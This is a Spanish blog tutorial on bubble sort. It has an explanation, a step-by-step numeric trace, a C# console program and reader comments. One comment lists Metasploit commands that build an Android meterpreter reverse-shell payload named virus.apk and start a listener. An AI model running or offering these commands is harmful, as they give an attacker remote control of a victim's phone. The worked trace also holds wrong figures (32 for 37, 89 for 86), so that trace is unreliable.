Método de Ordenamiento Burbuja en C#

Este método consiste en ir comparando cada par de elementos del array e ir moviendo el mayor elemento hasta la última posición, comenzando desde la posición cero. Una vez acomodado el mayor elemento, prosigue a encontrar y acomodar el segundo más grande comparando de nuevo los elementos desde el inicio de la lista, y así sigue hasta ordenar todos los elementos del arreglo. Al ser necesario revisar varias veces toda la lista hasta que no se necesiten más intercambios, hace que el ordenamiento por burbuja sea uno de los algoritmos más ineficientes que existen. Incluso entre los algoritmos de ordenamiento del mismo orden, otros como el “Ordenamiento por inserción” son considerados más eficientes. Y lo más curioso es que este procedimiento es uno de los más usados para ordenar listas en todos los lenguajes de programación.

Estos serían los pasos a seguir por este algoritmo para ordenar una lista a1, a2, a3, … an
1) Comparar a1 con a2 e intercambiarlos si a1>a2
2) Seguir hasta que se haya comparado an-1 con an
3) Repetir el proceso anterior n-1 veces

Ejemplo:

            25 57 48 37 12 92 86 33

En el primer paso se realizan las siguientes operaciones:

          x[0] con x[1] (25 con 57)  no intercambio.
          x[1] con x[2] (57 con 48)      intercambio.
          x[2] con x[3] (57 con 32)      intercambio.
          x[3] con x[4] (57 con 12)      intercambio.
          x[4] con x[5] (57 con 92)  no intercambio.
          x[5] con x[6] (92 con 86)      intercambio.
          x[6] con x[7] (92 con 33)      intercambio.

Así después del primer paso, el arreglo está en el siguiente orden:

          25 48 37 12 57 86 33 92

Observe que después del primer paso, el elemento mayor (en este caso 92) está en la posición correcta dentro del arreglo. En general x[n-i] estará en su posición correcta después de la iteración i. El método se lama ordenamiento de burbuja porque cada número “burbujea” con lentitud hacia su posición correcta. El conjunto completo de iteraciones es:

         iteración 0 :                     25 57 48 37 12 92 86 33
         iteración 1:                       25 48 37 12 57 86 33 92
         iteración 2:                       25 37 12 48 57 33 86 92
         iteración 3:                       25 12 37 48 33 57 86 92
         iteración 4:                       12 25 37 33 48 57 89 92
         iteración 5:                       12 25 33 37 48 57 89 92

A continuación veamos un ejemplo en Pseudo-Código Para el Método Burbuja 




Ejemplo del Método de Ordenamiento Burbuja en C# 

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace Burbuja
{
    class Burbuja
    {
        private int[] vector;

        public void Cargar()
        {
            Console.WriteLine("Metodo de Burbuja");
            Console.Write("Cuantos longitud del vector: ");
            string linea;
            linea = Console.ReadLine();
            int cant;
            cant = int.Parse(linea);
            vector = new int[cant];
            for (int f = 0; f < vector.Length; f++)
            {
                Console.Write("Ingrese elemento "+(f+1)+": ");
                linea = Console.ReadLine();
                vector[f] = int.Parse(linea);
            }
        }

        public void MetodoBurbuja()
        {
            int t;
            for (int a = 1; a < vector.Length; a++)
                for (int b = vector.Length - 1; b >= a; b--)
                {
                    if (vector[b - 1] > vector[b])
                    {
                        t = vector[b - 1];
                        vector[b - 1] = vector[b];
                        vector[b] = t;
                    }
                }
        }

        public void Imprimir()
        {
            Console.WriteLine("Vector ordenados en forma ascendente");
            for (int f = 0; f < vector.Length; f++)
            {
                Console.Write(vector[f]+"  ");
            }
            Console.ReadKey();
        }

        static void Main(string[] args)
        {
            Burbuja pv = new Burbuja();
            pv.Cargar();
            pv.MetodoBurbuja();
            pv.Imprimir();
        }
    }
}

Al ejecutar el código muestra el siguiente resultado



6 comentarios:

  1. Como mostrar en pantalla cada una de las pasadas?

    ResponderEliminar
  2. Pones un contador en cada uno de los For y luego los sumas, o bien puedes poner uno como comparaciones y otro como intercambios.

    ResponderEliminar
  3. porque me manda error en el numero 57

    ResponderEliminar
  4. msfconsole
    msfvenom -p android/meterpreter/reverse_tcp LHOST=19.1.68.1.6 LPORT=443 R>virus.apk
    use multihandler
    set LHOST 19.168.1.6
    set LPORT= 443
    xploit

    YOU ARE BEEN HACKED IN YOUR ANDROID
    XD

    ResponderEliminar